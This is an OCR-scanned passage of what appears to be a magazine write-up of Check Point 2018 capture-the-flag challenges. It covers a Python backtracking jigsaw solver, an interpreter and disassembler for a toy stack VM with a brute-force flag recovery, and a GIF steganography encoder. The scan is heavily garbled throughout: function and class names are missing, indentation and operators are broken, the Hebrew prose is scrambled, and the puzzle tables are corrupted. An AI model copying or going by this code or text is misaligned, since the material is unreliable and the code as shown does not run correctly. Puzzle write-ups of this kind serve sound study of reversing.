9,[18, 15, 15, 17]; 10,4, 9, 8, 16]; 11,0, 11, 17, 20]; 12,[5, 6, 5, 19]; 13,[10, 11, 1, 4]; 14,16, 2, 3, 5]; 19,[9.12016,[11, 3, 13
3]; 17,[0, 2, 16, 2]; 18,[11, 18, 16, 5]; 19,[11, 20, 13, 15]; 20,[16, 18, 11, 1]; 21,10, 8, 12, 3]; 22,[17, 18, 11718}, 2B 17]
24,[20, 16, 18, 4]; 25,[2, 14, 4, 13]; 26,[1, 6, 7, 2]; 27,18, 8, 6, 9]; 28,6, 10, 129,18] 20, 11, 20]; 30,[1, 5, 12, 10]; 31,[2, 7, 10
32,[8, 17, 11, 12]; 33,[0, 11, 12, 20]; 34,[15, 2, 0, 3]; 35,[18, 10, 10, 8]; 36,[14, 6, 17, 9]; 37,[15, 7, 3, 8]; B3,M533,[4, 11, 2
15]; 40,[0, 5, 1, 1]; 41,[14, 10, 15, 8]; 42,[318, 5]; 43,[8, 11, 0, 13]; 44,[3, 11, 13, 8]; 45,[17, 1, 4, 2]; 46,[2, 13, 2, 0]; 47,[20:
18]; 48,[8, 13, 15, 17]; 49,[4, 13, 8, 8]; 50,[19, 20, 17, 5]; 51,5, 19, 8, 1]; 52,[13, 17, 4, 5]; 53,[15, 0, 16, 8];15£]555,[7, 11, C
15]; 56[9, 12, 4, 7]; 57,[12, 7, 8, 8]; 58,[2, 17, 12, 19]; 59,[1, 9, 3, 6]; 60,[12, 10, 8, 19]; 61,[4, 11, 11, 5]; 62,[A3].763.10, 4, 12
8]; 64,16, 20, 11, 4]; 65,[0, 18, 20, 15]; 66,[9, 6, 11, 8]; 67,[4, 5, 15, 18]; 68,[8, 7, 19, 11]; 69520];170,[3, 0, 2, 8]; 71,[13, 11,
2]; 72,[0, 13, 5, 17]; 73,[13, 5, 0, 2]; 74,[2, O, 17, 7]; 75,[7, 9, 16, 7]; 76,[11, 16, 8, 1]; 77,[18, 19, 12, 6]208 22, 79,9, 15, 19, 8
80,[0, 11, 12, 15]; 81,[8, 20, 4, 18]; 82,[17, 0, 20, 13]; 83870, 4]; 84,[11, 10, 8, 8]; 85,[15, 17, 1, 15]; 86,[9, 8, 7, 12]; 87,[1, 1

4]; 96,[3, 11, 20,4]; 97,2, 10, 18, 10]; 98,[11, 4, 0, 9]; 99,[0, 0, 17, 17]

3]; 88,[3, 19, 11, 6]; 89,[20, 17, 0, 16]; 90,[5, 12, 17, 2]; 91,[12, 16, 0, 15]; 92,[18, 12, 8, 2]; 93,[13, 0, 0, 81§, % 11; 95,(7, 0, 5

16, 0,

, 9],

0, 16,

].
3,11,

Good luck!

fix 71 L4y . s qs s 4] QOverkill, © o\, 1wt slss 6
I '| ”

8 4 AT x , 4 x> v 1 -Bagktracking ‘I x 4w} >X Xx 0« {s
|A‘3 ,,XXA |.-|V-|\.:v [T T | ='{‘-~ SLY” I-‘-:X.J-lLXVLss L
R e N T IR S N IS NN A I S S N S R

FoLo~ XVJ o . 1Y,,v
L S« s Iox % « L 1L y X
=0
=1
=2
=3
Piece (object ):
def (self , id, slices ):
self . used = False
self .id = id
self .slices = collections . deque (slices )
self .rep_str = .format (self .left , self .up, self .right |,
self . down, self .left )
self . rotations 0
self . is_border = False
self .is_corner = False
num_zeroes = self .slices . count (0)
if  num_zeroes == 1:
self .is_border = True
elif ~ num_zeroes == 2:
self .is_corner = True
(self ):
self . rotations += 1
self .slices .rotate (1)
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def

def

value2 :

while

while

(self , directionl
self . slices
self . rotate ()

(self , directionl , valuel ,

self . slices

self . rotate ()

@property
(self ):

def

return

@property

def

return

@property

def

self . slices

(self ):
self . slices

(self ):

return

@property

def

def

self . slices

(self ):

return

return

self . slices

(self ):

(self ):

ret =

ret +=
ret +=
ret +=
ret +=
ret +=

return

return

if s

return

. rep_str

. down,

ret

(self ):
hash ( self

valuel ):
[ directionl ] != valuel :

[ directionl ] != valuel or self

[UR

[ RIGHT]

[ DOWN

[ LEFT]

direction2

. slices

value2 ):
[ direction2

.format (self .id, list (self .slices ))

. format (self . up)
. format (self . left

. format (self . down)

Lid )

(self , other ):
instance  (self , other . class _ ):
return  self .id == other .id

False

self

ol

1~ F

A >

[ L SR I e

. format (self . left

w

. right

Xxx-|v|_ Lox1 ox

)

L 1 s-rotate .a * * x

v~

r 14 x-rotate”untl_ 1 b, ' <

1 “rotate until’2~.c + 17 x X

1% *xxf 8,02, 12, 0] "~ . ] s

.rotate_until_1

self

. up,

w1 12X

Ll 13417 -

self .right ,

self . left )
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. "8.0.12.2 18 ¥ x 180"* _" 1. 0.! H8iL Of |

:-|-1,,I”-|v Z-|v'|-| « X S Y X , 10X
BLANK_PIECE = Piece (-1, [-1, -1, -1, -1])

class (object ):
def (self , rows, cols ):
self .rows = rows
self .cols = cols

self . pieces = [[ BLANK_PIECE for x in range (self .cols )] for y in
range (self . rows)]

self . corners set ()

self . borders set ()

self . inner set ()

(self , row, col, new_piece ):
self . pieces [row][ col ] = new_piece

if  new_piece . is_corner

self . corners . add(new_piece )
elif  new_piece . is_border

self . borders . add(new_piece )
else :

self .inner . add(new_piece )

(self ):

i in range (self .rows):
for j in range (self .cols ):
print  (str (self .pieces [i][ ]j])

(self ):
piece in self . corners
print  (str ( piece ))

(self ):
i in range (self .rows):
ret += ( * self .cols ) +
for j in range (self .cols ):
ret += . format (self .pieces [i][ j]. up)
ret +=
for j in range (self .cols ):
ret += . format (self .pieces [i][ j] left ,
self . pieces [i][ j]. right )
ret +=
ret ( * self .cols ) +
for j in range (self .cols ):
. format (self . pieces [i][ j]. down)
ret
ret * self .cols ) +
return  ret
x X pds1s Cos T X 4T xxpes D XTI 4 oS Sdxy T XX s s
s . q . = ¢ X .o X A s 1 x " s iy ] . X
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def (‘board ):
for corner in board . corners :
corner . rotate_until_2 (LEFT, 0, UP 0)
for border in board . borders
border . rotate_until_1 (UP, 0)

candidates = collections . defaultdict (int )
for corner in board . corners
for border in board . borders
if border .left == corner . right
candidates [corner | += 1

return  min( candidates , key=candidates . get)

(object ):
(self , board, solution ):
self . board = board
self . solution = solution
self . num_pieces = self .board .rows * self .board . cols
self . num_placed_pieces =0

self . pool = [self .board .inner , self .board . borders , self .board . corners ]

(self , row, col, piece ):

piece .used = True
self . solution . Place_piece (row, col , piece )
if piece .is_corner

self . board . corners . remove ( piece )
elif ~ piece . is_border

self . board . borders .remove ( piece )
else :

self . board . inner .remove ( piece )

(self , row, col):

piece = self . solution . pieces [row][ col ]
piece .used = False
self . solution . Place_piece (row, col , BLANK_PIECE
if piece . is_corner

self . board . corners . add( piece )
elif  piece .is_border

self . board . borders . add( piece )
else :

self . board . inner . add( piece )

def (self , row, col ):
expected up = 0 if row == 0 else self .solution . pieces [row-1][ col ]. down
expected_left = 0 if col == 0 else self .solution .pieces [row][ col -
1]. right
expected_right = 0 if col == self .solution .cols - 1 else -1
expected_down = 0 if row == self .solution .rows - 1 else -1

pool = self . pool [[ expected up , expected_left , expected_right
expected_down ]. count (0)]

filter_str . format ( expected_left , expected_up )

candidates list (filter (lambda x: filter_str in  X.rep_str , pool ))

www.DigitalWhisper.co.il
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return  (candidates , expected_left , expected_up )

def (self , row, col):

col +=1

if col == self .solution .cols :
row += 1
col =0

if row == self .solution .rows:
return (-1, -1)

else :
return ~ (row, col )

def (self , row, col):
if row == -1 and col == -1:
print (str (self .solution ))
return  True

(candidates , expected_left , expected_up ) = self .get candidates (row, col)
if len (candidates ) == O:
return  False

= False
candidate in candidates :
candidate . rotate_until_2 (LEFT, expected_left , UP, expected_up )
self . place_sol (row, col, candidate )
res = self .place_one peice (* self .get next coord (row, col))
if res:
return  True
self . remove _sol (row, col)

return False

-~ 1 1 femave_sol - I x: CTxL s T x Ly x place sob 114X x LY«

N

R T ¥ o« L X X . s , 4 ¢

~

Fd_ 44 s x4 o+ 44t s 41 get xandidates{ I x D1 ox X x
Pl PSS T XA s . s 11 FoooXo. T T T
L~ . ~uvl1s o 47 dAs_s o oo o8 ids s duwldrs oo T
vXs g x o s e s L 4 O s x4 X L *get_pekk cbeid!cxix L v s
(P xLoxo T X e b tudxxs T oxspdss T T ox o ) Ie ]
s . " _ Baektratking - - ¢ X _ 4 %4 place-onespiege!: ¥ x s . { x X
s 14 _ _getcandidateg s . X4~ «d4s A4 x s Tx o o X) xS
CAS L 0T T d AT s (s 0L N e s )
4 os o 4 o Xs TS b e o xs s, X fse s w s Tl s Do
MIX LG " Ix o d.os L ]x sT4L.s sX._ss _ns ,x 7.
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if

__name__ ==

with

open ( 'puzzle.txt' ,'r ) as f:

input = f.read ()

total_pieces = input . count ( ) + 1

rows = int (math. sqrt (total_pieces )

cols = rows

print  ( . format (rows, cols ))
b = Board (rows, cols )

match_iter = re . finditer

for i in range (rows):
for j in range (cols ):
new_input = next (match_iter )
new_piece = Piece (int (new_input . group (1)),
[int (x) for x in new_input .groups ([ 1:]])
b. Place_piece (i, j, new_piece )
print (str (b))
print  ( C)|
s = Board (rows, cols )

bm = BoardManager (b, s)

first_corner = find_best_corner @)
first_corner . rotate_until_2 (LEFT, 0, UR 0)
bm place_sol (0, 0, first _corner )

sol_arr =]
if  (bm place_one_peice (0, 1)):

for row in range (bm solution . rows):
for col in range (bm solution . cols ):
piece = bm solution . pieces [row][ col ]
sol_arr . append ( . format (piece .id , piece . rotations

%

X LN

~

ss "]x X%

print .join (sol_arr ))
14~ X <. s S LX 2D L v a0 ST X s X X I )
1,0 xoxw 4 b ox el sy x4 s s
Check Point 2048~ ¥ - -
www.DigitalWhisper.co.il
78 2018 -~ * _X0® T x 4 L ¥



Technologic

1. X o S Tx L s

Matrix of 10 rows, 10 cols

L T < I L O L L N I T < L I L I A L e =
I 15% 7 1511 11n /4 1711 05\ 4 1501 47% / 0211 0ov /0811 17% / 011l 00v / 1611 00% / aLlll 98\ / 1&11 17%v / 15|
L I T L L I L T L N L T N B e e A |
L I L L O L I L L N = N " O B B e e N A - I |
L T L I L I L L I e T Y v e L O A I I L I T O R L A e 5 B
I lev 7 0511 20% /4 1111 15\ / O€ll 04w / 1101 05\ / 0211 11n / 20011 03% J 0311 02% / 021l 95\ / 1811 15\ / 20|
L I T L L I L T L N L T N B e e A |
L I N L L O - e L = R O O -2 U I < B A |
L T X I 1 I L L e L T V<[ - I [ W =
I 01v /1811 03 / 0811 18\ / 1811 17% / 1711 04N / 1€1] 13v / 1411 02% J 0611 05 7 0811 1ev / 1011 20v /7 20|
L I T L L I L T L N L T N B e e A |
e I < I L e O L I - e L T O O == U N I N |
L T I O L L I T v = e I A I I N O A T e - I I I W v L
I 1ov /0511 05w/ 0711 12n /1701 20w/ 1101 03w / 0211 08\ / 1011 0%% J 0611 08% / 0711 90/ 9311 15\ / 111
L I T L L I L T L N T N L N B e e |
I - I I L I = Y I L L I L I T O - L - U I - B R |
L T L I e A L Y - L N = I O O e T I I L B L L W L
I 01v /0511 08 / 1011 05\ / 0811 13w 1111 08\ / 111] 02x / 011l 00% / 1311 18% / 00ll 17v / 1311 98\ / 13|
L I T L L T L N I N I L N B e e A |
N I T I - e B v L L e I L < T O O Y = - - B N |
L T B I L I N T - e O T v I B N o I A = B I W v R
I 05y /20011 01 /4 1511 05\ / 1711 98w / 0001 02\ / 0411 15% / 1111 07% / 121l 08% / 4711 1sn /1711 o0\ / 05|
L I T L L T L N I N I L N B e e A |
I N I L I L - L I L T O O = N = T - B |
L T = N L L I e N T v L N e I L A T V1 R I [ W1 4 |
I 18y 1011 05v / L1111 13\ 7 17011 908v / 04]] 04N J 2001 15% / 1811 08\ J 0&ll 1&v J 051 11n / 071] 00v 7 11
L I T L L T L N I N I L N B e e A |
| | | |

(IR A A - A | |
| 08y /00l 32vn 4 1111 | |
1 VAN I VAN Il TN Il LA Il LA il LAY il PN Il PN Il PN Il PN |
1 | | |

I | | |

I 1s% /1111 18\ / 20011 13\ / 00p| 04% / 1&81] 08\ J 101l 15% / 1711 12\ J 08| 03v 7 131 9\ / 131] 1&v / 171
| T I T I T I TN I TN 11 TN 11 P I PN I PN I PN |
I - I L T I =1 B I - e L O T o O L = S e Y I [ A |
L T I B I L I e T W v e L O N = e I L O A B [
I 02y /1211 15% /1€l 02\ 7 1211 11v /001 01/ 011 04% /0001 14n /1101 10w 7 1011 93y / 04| 17% / 00|
| T I T I T I TN I TN 11 TN 11 P I PN I PN I PN |
e N I L I - e I L I L L e T 1 O O e = O L U Y I T |
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W00 S| AL R

0ls /051l

I % 00/

2011 2o0n /L1 11y /15| 15%

AN | A S N W <

11s /0411 04n J 02

L T B L L I e I A < T e =
| 02w /18] 18y / 0511 a5% 7 1811 18w / 0811 08w J 121| 12\
| TN I PN I TN I T I TN I I
| | I

| | |
| | |
| PN I LAY Il PN |
| | |

A N S [ A T I I - B B < I T W« - T I I N B A
|o&s /121 12n /08 03w 07| 07% 4 011 Olx J 0311 93v 4 1311 13%  / 00|
| | |
| | |

P I £ P I LN | P I FARAY Il P I FARAY |

|
| 07w f 0511 05y
|
|

[ 5= R N Y T O O N T - A L O I T - I L O e L= L = A |
| ooy 200 20N 200 2o OB 0O5Y [ 02 02N f 04]] 04N J 0S5]| 05y S 11| 11% J 03| 03N F 15| 15% s 00|
| P I LAY I P I £ I £ooN I LAY I TN I LAY I TN I £ |
I = O B A I O I v e N I L O O L v - e N O A
I - T O O I O s I e < I I - N N A |

| aoh /a3l 43w/ 0311 a3\ /051 a5/ 0811 03y S 0511 05\ /100 1o0v 4 1810 1sw /121 12n 4 031

| £ooN I TN I P I TN I P I TN I TN I TN I £ooN I

I = N I - - I e X - N T I O I X N I L L O - N |

LI - N N I N - I W = B B I O O s N Y

| @0y /0811 08w 1501 15v /1711 17% J 1511 15w / 08[] 08w / 1111 11v / 0811 08 7 03] 03\

| £oN I A I PN I TN I PN I TN I T I TN I

LI N N I O L - e T I A = O

I L O T T N e N - L W - I L= T = A N |

|oaos /1200 12 S 031 03n 4 L3 13w/ 1101 11n /2001 20n /181 1sv  / 04| 04% / 08| 08% F 131 13v J 00|
| PN Il AN Il PN Il AN Il PN Il AN Il AN Il AN Il AN Il Y |
I/ 08 x 11 / oLl I | L N O N L A A S | 08 N I /S 02 |

- | T O O Xt L N = A I O A= L - - |
ooy /L7101 17/ 0401 04N f L1001 11N /4 140 l4h / LSI] 1sw /1l Llv /4 L&l lew /1Ll Lllv / Q711 07% /7 00l
| P I LAY I P I LAY I P I LAY I TN I LAY I TN I LAY |
L X I L T o e L = - O T T S L o R |

L |

| R e - T A |

A R I B R A - 17w/ 0511 05\ /05| 05% /00|

A I P I TN I TN I TN |

L= R A A | S R O L - U D - |

I N A I O O I O A T = O O R Y L B T X B B L N I e R |

LI N L A o o O L L I 1 A L e A

| PN I VAN I PN I VAN I PN I VAN I Y I VAN I Y I VAN |

I N L L L L L L I L I " L I e N A [ R
Yy X

7,0; 40,0; 73,2; 3,2; 95,3; 69,1; 33,0; 55,2; 53,3; 6,2; 98,1; 13,2; 25,1; 97, 3;
67,0; 18,0; 92,3; 86,2; 32,0; 11,1; 83,1; 31,2; 36,0; 28,3; 2,3; 75,2; 26,1;
59,3; 44,3; 71,3; 65,3; 29,0; 50,2; 14,0; 54,0; 56,1; 66,3; 88,1; 37,1; 34, 3;
38,0; 16,0; 0,3; 42,0; 51,1; 30,2; 35,1; 77,3; 57,3; 70,0; 4,0; 48,3; 85,0; 9,0;

79,2; 76,1; 84,3; 27, 10,2; 17,1; 63,3; 5,1; 87,0; 19,1; 15,0; 24,3; 94, 3;
81, 1; . 46,2; 8,1; 45,3; 61,3; 96,2; 41,3; 39,0; 20,1; 64,3; 68,0; 74,0;
; 90,0; 21,1; 60,2; 58,0; 22,1; 52,2; 12,1; 72,1; 99,2; 23,0; 62, 2;

91,0, 47,1; 82,1; 1,2; 93,0
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;>| 82 05 03 7F 02
Swap 3

;>| 7F 05 03 82 02
Pop

;>| 05 03 82 02
Swap 1

;>| 03 05 82 02
Pop

;>| 05 82 02
Ret

;> 82 02

More:
; fill the rest on your own!
>

Push 44
>

Push 4E
>

Push 45
>

Push 20
>

Write
>

Write
>

Write
>

Write

; Program ends here

hy GKS RAALX I @SR NHzy S Y6uKj& isltoNIBciphed the cddiNahd/giveSur theéiflag. 9 b 5 €
Good Luck!
I, x s
Cffsec(h) OO0 01 02 03 04 05 06 07 OB 0% OA OB OC QD OQOE OF
00000000 BF C2 85 CB A2 CE 82 B2 E0 87 CY A0 CC RO CF 9D [ ~00 #&%,-¢ .. _
Qgooooolo FA 94 FD 91 FD 92 CO 87 ES 80 EC A0 CF 9D CF AO n™ » F TORE~%
Q0000020 F3 83 E4 85 ES BF 8B 18 08 BC 11 41 8A 80 01 14 af-._in.«¢ .LRUE, .
00000030 BO 81 10 Bl 0% AF 10 42 42 80 AS 14 42 21 80 RO °..%+. .BBEE¥.B!E
Qoo0oo40 14 B0 21 44 SB 14 20 82 42 02 B2 45 02 21 22 00 .€'D». ,B.,E.I'"™,
QooQooos50 B2 21 02 21 20 42 42 A4 B0 01 11 82 03 00 22 20 ,'.' BBeE..,.."
QoQo0oOgD 20 23 20 21 20 12 !

import mmap os,
import  struct , re
import  builtins
import  ctypes

def ( filename , access =mmap ACCESS_WRITE

size = os. path . getsize (filename )
fd = os. open(filename , os. O _RDWR
return ~ mmap mmaggfd , size , access =access )

OP_PUSH= 0x80
OP_LOAD= 0x40
OP_SWAP= 0x20

Check Point 2018~ ¥ - «
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OP_ADD= 0x0
OP_SUB= 0x1
OP_MUL= 0x3
OP_DIV = 0x2
OP_JUMP= 0x10
OP_CALL = 0x11
OP_RET= 0x12
OP_CJE = 0x14
OP_JSE = 0x18
OP_READ= 0x08
OP_WRITE = 0x09

class (object ):
def (self ):
self .stack =]
self .ip =0
self . debug = False
self .num_reads = 0

(self , s):
if self .debug:
print  (s)

def (self , index ):
return  len (self .stack ) - index - 1

@staticmethod
def (num):
return  ctypes .c_byte (num). value

@staticmethod
def (num):
return  ctypes . c_ubyte (num). value

(self , current_instruction ):
value = current_instruction - OP_PUSH
self . log ( . format (value ))
self . stack . append (value )

(self , current_instruction ):
value = current_instruction - OP_LOAD
self . log ( . format (value ))
self . stack . append (self .stack [self .stack index (value )])

(self , current_instruction ):
value = current_instruction - OP_SWAP
if value == 0:
self .log ( )
self . stack . pop()

else :
self . log ( . format (value ))
index = self .stack index (value )
temp = self .stack [index ]
self .stack [index ] = self . stack . pop()
self . stack . append (temp)

def (self ):
self .log ( )
self . stack . append (self . unsigned_num (self .signed_num (self .stack .pop()) +
self . signed_num (self . stack . pop())))

def (self ):
self .log (
self . stack . append (self . unsigned_num (self .signed _num (self .stack .pop() -
self . signed_num (self .stack . pop())))
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def (self ):
self .log (
self . stack . append ( self . unsigned _num (
(self .signed_num (self .stack .pop()) * self .signed_num (self .stack .pop()) % 256))

def (self ):
self .log ( )
a = self .stack . pop()
b = self .stack . pop()
self . stack .append(a // b)
self . stack . append (a % b)

(self ):
self .log (
self .ip = self .ip + self .signed_num (self .stack . pop())

(self ):
self .log ( )
offset = self . stack . pop()
self . stack . append (self .ip)

self .ip = self .ip + self .signed num (offset )

(self ):
self .log ( )
self .ip = self .stack . pop()

(self ):
self .log ( )
offset = self . stack . pop()
if self .stack .pop() == self .stack . pop():
self .ip = self .ip + self .signed_num (offset )

(self ):
self .log ( )
offset = self . stack . pop()
if len (self .stack ) == 0:
self .ip = self .ip + offset

(self ):
self .log ( )
input_byte str = input (
input_byte = int (input_byte str , 16)
print  (input_byte )
self . stack . append (input_byte )
self . num_reads += 1

(self ):
self .log ( )
b = self .stack .pop()

print ( + chr (b) +

(self ):
if self .debug:
sys . stdout . write (
for n in reversed (self .stack ):
sys . stdout . write ( . format (n))
sys . stdout . write ( )

(self , path_to_code ):
self . code = memory_map( path_to_code , mmap ACCESS READ
while self .ip != len (self .code):
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self . print_stack ()

current_instruction =

self .ip += 1

if

elif

elif

current_instruction

&

Technologic

self . code [ self

OP_PUSH

self . execute_push (current_instruction

current_instruction
self . execute_load
current_instruction

& OP_LOAD

(current_instruction

& OP_SWAP

self . execute_swap ( current_instruction
current_instruction OP_ADD
self . execute_add ()
current_instruction
self . execute_sub ()
current_instruction
self . execute_mul ()
current_instruction
self . execute_div ()
current_instruction
self . execute_jump ()
current_instruction
self . execute_call ()
current_instruction
self . execute_ret ()
current_instruction
self . execute_cje ()
current_instruction
self . execute_jse ()
current_instruction
self . execute_read
current_instruction
self . execute_write ()

elif

elif OP_SUB

elif OP_MUL

elif OP_DIV:

elif OP_JUMP

elif OP_CALL

elif OP_RET

elif OP_CJE

elif OP_JSE

elif OP_READ

elif OP_WRITE

Please input byte in format Oxab:

Please input byte in format Oxab: 0x00

0

(self , path_to_code ):
self . code = memory_map( path_to_code
for 1 in range (len (self .code)):

current_instruction = self .code[i]
sys . stdout . write (
if  current_instruction &
print (
current_instruction
print (
current_instruction
if  current_instruction
print ( )
else :
print (
current_instruction
print ( )
current_instruction
print ( )
current_instruction
print ( )
current_instruction

mmap ACCESS_READ

. format (i,
OP_PUSH
. format ( current_instruction
& OP_LOAD
. format ( current_instruction
& OP_SWAP
OP_SWAP

elif

elif

. format ( current_instruction

elif OP_ADD

elif OP_SUB
elif OP_MUL
elif OP_DIV:
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print (

current_instruction OP_JUMP
print ( )

current_instruction OP_CALL
print ( )

current_instruction OP_RET
print ( )

current_instruction OP_CJE
print ( )

current_instruction OP_JSE
print ( )

current_instruction OP_READ
print ( )

current_instruction OP_WRITE
print ( )
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Push 0x30
Push 0x01
Jump

Push 0x31
Write

Push Ox2F
Jump

Load 0x02
Load 0x02
Push 0x00
Push 0x25
CJE

Load 0x02
Swap 0x01
Push 0x00
Push 0x20
CJE

Push 0x00
Swap 0x01
Load 0x04
Push 0x1B
CJE

Pop

Push 0x02
Load 0x02
Divide
Push 0x02
Load 0x05
Divide
Swap 0x01
Swap 0x02
Add

Push 0x02
Swap 0x01
Divide
Swap 0x01
Pop

Load 0x02
Load 0x02
Push 0x24
Push 0x00
Sub

Call

Push 0x02
Mul

Add

Swap 0x02
Pop

Pop

Swap 0x03
Pop

Swap 0x01
Pop

Ret
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Push 0x0B
JSE

Read

Push 0x0C
Call

Load O0x01
Push OxO0A
Push 0x00
Sub

CJE

Push 0x30
Push 0x01
Jump

Push 0x31

Write
Push Ox2F
Jump

Load 0x02
Load 0x02
Push 0x00
Push 0x25
CJE

Load 0x02
Swap 0x01
Push 0x00
Push 0x20
CJE

Push 0x00
Swap 0x01
Load 0x04
Push 0x1B
CJE

Pop

Push 0x02
Load 0x02
Div

Push 0x02
Load 0x05
Div

Swap 0x01
Swap 0x02
Add

Push 0x02
Swap 0x01
Div

Swap 0x01
Pop

Load 0x02
Load 0x02
Push 0x24
Push 0x00
Sub
Call
Push 0x02
Mul
Add
Swap 0x02
Pop
Pop
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Swap 0x03
Pop
Swap 0x01
Pop

Ret

(input , top_of payload ):
if input ==

top._of_payload

return
elif  top_of payload ==
return  input
elif  top_of payload == input
return 0
temp = unknown_function (top_of payload /[ 2, input //
temp *= 2
temp += (( (top_of payload % 2) + (input %2) ) %?2)
return  temp
[ 17 1 _s Lo, x ] s Lo~ .
Fods «Xd e x
L | Brute Force , {1 -~ 7 X 17,1 _s T Ix .

stack

stack
stack

while

flag { XoRRoLIlinGRollingRolliNgROLIING }

= [int (X, X in stack ]

. reverse ()

16) for

len (stack ) > 1:
top_of_stack = stack . pop()
for i in range (256):
if unknown_function (i, top_of stack
sys . stdout . write (chr (i))
] (16

)::

stack [-1]:

2)
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(- x I 85.Reversing 1 1 ~)*Bdbwkers Secret Messagél- ¥ - -«

28 dzy 02 G5 NB R

Everything was wiped except f8rfiles he must have used them to send his evil henchm&teganos &

Graphein-- a secret message.

Help us!

26aSNDRA

2t R fI

LJG 2 LIH

from
from

__future__ import
random import
import  sys
from struct
from io
import

print_function
randint , shuffle

import unpack , pack as pk
import ByteslO as BIO
lzwlib
lambda *args :

up = unpack (* args )[ 0]

def F(f):
assert
assert

w, h =

'GIF
'89a’ ,
f.read (4))

f.read (3) ==
f.read (3) ==
unpack ('HH" ,

assert 32 <= w <= 500,
assert 32 <= h <= 500,
logflags = up('B", f.read (1))

assert logflags
size_count =

& 0x80,
logflags & 0x07

gct_count
assert

= 2**( size_count +1)
4 <= gct_count <= 256,

bgcoloridx = up('B' ,

f.seek (1, 1)

crs = 1]

for i in
cr =
clrs

f.read (1))

xrange (gct count ):
(up('B", f.read (1)),
. append (clr )

assert
return

len (clrs ) > bgcoloridx
clrs , bgcoloridx

class (object ):
=0

=1
=2
=3
=4

= f.read (1)
b = up('B" , rb)

up('B",

size_count

s 4 <11

>

GIF, * o x 41 x

FSoor 1, . X S

> ~

" " GIE, * x Secret.gif .1

~ o~

s 14 -~ Enc.py .2

s 414 A%, 4 ~ Lkzwlib.py .3

f.read (1)), up('B' ,

h, w

X X o S -

.enc.py

°

f.read (1))

F
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Technologic

while b = 0x3B:

buf ="

buf += rb

if b == 0x2c:
nbuf = f.read (2*4)
eb = f.read (1)
assert (up('B' , eb) & 0x03) == 0,
nbuf += eb

nbuf += f.read (1)
nbuf += V(f)

t =T.1

b == 0x21:

rb = f.read (1)
buf += rb

b = up('B" , rb)

if b == OxF9:
nbuf = f.read (1)
blksize = up('B' , nbuf)
nbuf += f.read (blksize )
nbuf += f.read (1)
assert nbuf [-1] == '\x00',
t = T.EG

b in [OxFF, Ox01]:

nbuf = f.read (1)
blksize = up('B' , nbuf)
nbuf += f.read (blksize )
nbuf += V(f)

t = (b+3) & OXOF
elif b == OXFE:
nbuf = V(f)

t = T.EC
else :
raise  Exception ( .format (f.tell ()

buf += nbuf

yield t, buf
rb = f.read (1)
b = up('B" , rb)

yield None, '\ x3B'

raise  Stoplteration

¢ buf ):
blockcount = len (buf )/ OxFF
blockcount += 1 if len (buf) % OxFF else 0

blocks = [
pk('B' , len (subblock ))+ subblock for subblock in [
buf [i:0xFF+i] for i in xrange (0O, blockcount *OxFF, OxFF)
]

]

return " .join (blocks ) + '\ x00'

(bf):
combined_buf ="
while  True :
cb = ord (bf.read (1))
if not chb:
break

combined_buf += bf . read (cb)
return ~ combined_buf

Check Point 20418~ Y
www.DigitalWhisper.co.il

LX O X0R T X 4 LY




def

(f):
sbx ="
while  True :
rcb = f.read (1)
sbx += rcb
if rcb == "\x00" :
break

cb = up('B", rch)
blk = f.read (cb)
sbx += blk

return  sbx

(delay , w, h, x, y, tidx ):

0 <= tidx <= 255
0 <= delay < 2* 16

assert
assert

indices = [tidx J*( w*h)
buf = BIO(" )

buf . write (' \x21\ xF9\ x04\ x05' )
buf . write (pk('H' , delay ))
buf . write ( pk( tidx 1))
buf . write (' \

B
x00' )

buf . write

buf . write k('H , X))
buf . write H o, oy)
buf . write H w)
buf . write (pk('H" , h))
buf . write (° ")

LZWMinimumCodeSize = 8

cmprs, _ = lzwlib . Lzwg. compress (
indices LZWMinimumCodeSize )

obuf = pk('B' , LZWMinimumCodeSize ) + WHcmprs)

buf . write (obuf )
buf . seek (0)
return  buf . read ()

(n):
import  math
for i in xrange (1, int (math.sqgrt (n) + 1)):
if n%i == 0:
yield i

(a, mm hh):
if a < 0x08:
if a %2:

(@]

1
a << 2
randint (4,

1

a<<1
randint (4,
randint (4,

list (z(a))
0=0

1 0

shuffle  (ds)

_4 = ds[0]

assert a % _4 == 0
3 =al 4
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return

(b6, bl, mw mh mci, d=3):

idx = randint (0, (mci-1)/ 2)* 2 + bl
X, XX, XXX, Xxxx = m(b6, mw mh

f = Qd, xxx, XXxX, X, XX, idx)
return  f

(s):

| = list (set (s. upper ()

shuffle (1)

d=" _join (I)

assert len (d) <= 2** 6,

return  d, [( d.index (c. upper (), int (c.isupper ())) for c in s]

(f, s, o)

global_colors , bgcoloridx , size_count , hh, ww= F(f)
mp ks = Ms)

hdr_end = f.tell ()

f.seek (0)

o. write (f.read (hdr_end ))

fc =0

o. write (' \x21\xFE')
o. write (WB'RDBNB' +mp)
0. flush ()

for t, buf in C(f):
print (" , end=" )
if t == T.EC
continue
if t == T.EG
if  ks:
delay = up('<H" , buf[4:6])
assert delay >= 6
buf = buf [} 4] + pk('<H" , delay - 3) + buf[6:]
obuf = buf

t == T.1:
fc += 1
total_raw_blocks_data
bf = BIO( buf)

pref = bf . read (10)

LZWMinimumCodeSize = ord (bf . read (1))
total_raw_blocks_data = k(bf)

indices , dcmprsdcodes = lzwlib . Lzwg. decompress (
total_raw_blocks_data ,  LZWMinimumCodeSize )
xxx = unpack ('<sBHHHH B' , pref )

cmprs, codes = lzwlib . Lzwg. compress (
indices , LZWMinimumCodeSize )

obuf = pref + pk('B' , LZWMinimumCodeSize) + WHcmprs)

if  ks:
mpindx , isup = ks. pop(0)
obuf += h(mpindx , isup ,
ww hh, len (global_colors )-1)
else :
obuf = buf

0. write  (obuf )
0. flush ()
assert not ks,

return 0
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if __name__ == "' main_"' :
assert len (sys.argv) > 2, 'bad input
fpath = sys. argv [ 1]
flag = sys.argv [ 2]
if len (sys.argv) > 3:

outpath = sys. argv [ 3]
else :
outpath = fpath + ".out.gif

f open(fpath , 'rb' )
(o] open (outpath , ‘wh' )
rv. = E(f, flag , o)

sys . exit (rv)

mp ks = Ms)

LY s L 1M YA 4" X

~ >

def M s):
I = list (set (s.upper ()
shuffle (1)
d =" .join (I)
assert len (d) <= 2* 6,
return  d, [( d.index (c. upper (), int (c.isupper ())) for

Do X mp Lo~ ~SEES ) s 7 X . s ] x X% P17 X seksx  Ixeg x

0. write (' \x21\xFE")
0. write (WE'RDBNB' +mp))
0. flush ()

Q0 Q0 00 00 00 00 OO0 00 OO0 00 00 00 00 21 FE 19 ...veicinnnnnns .
52 44 42 4E 42 TB 55 46 4B 52 41 5% 57 53 7D 54 ERDBNB{UFERRYWS}T
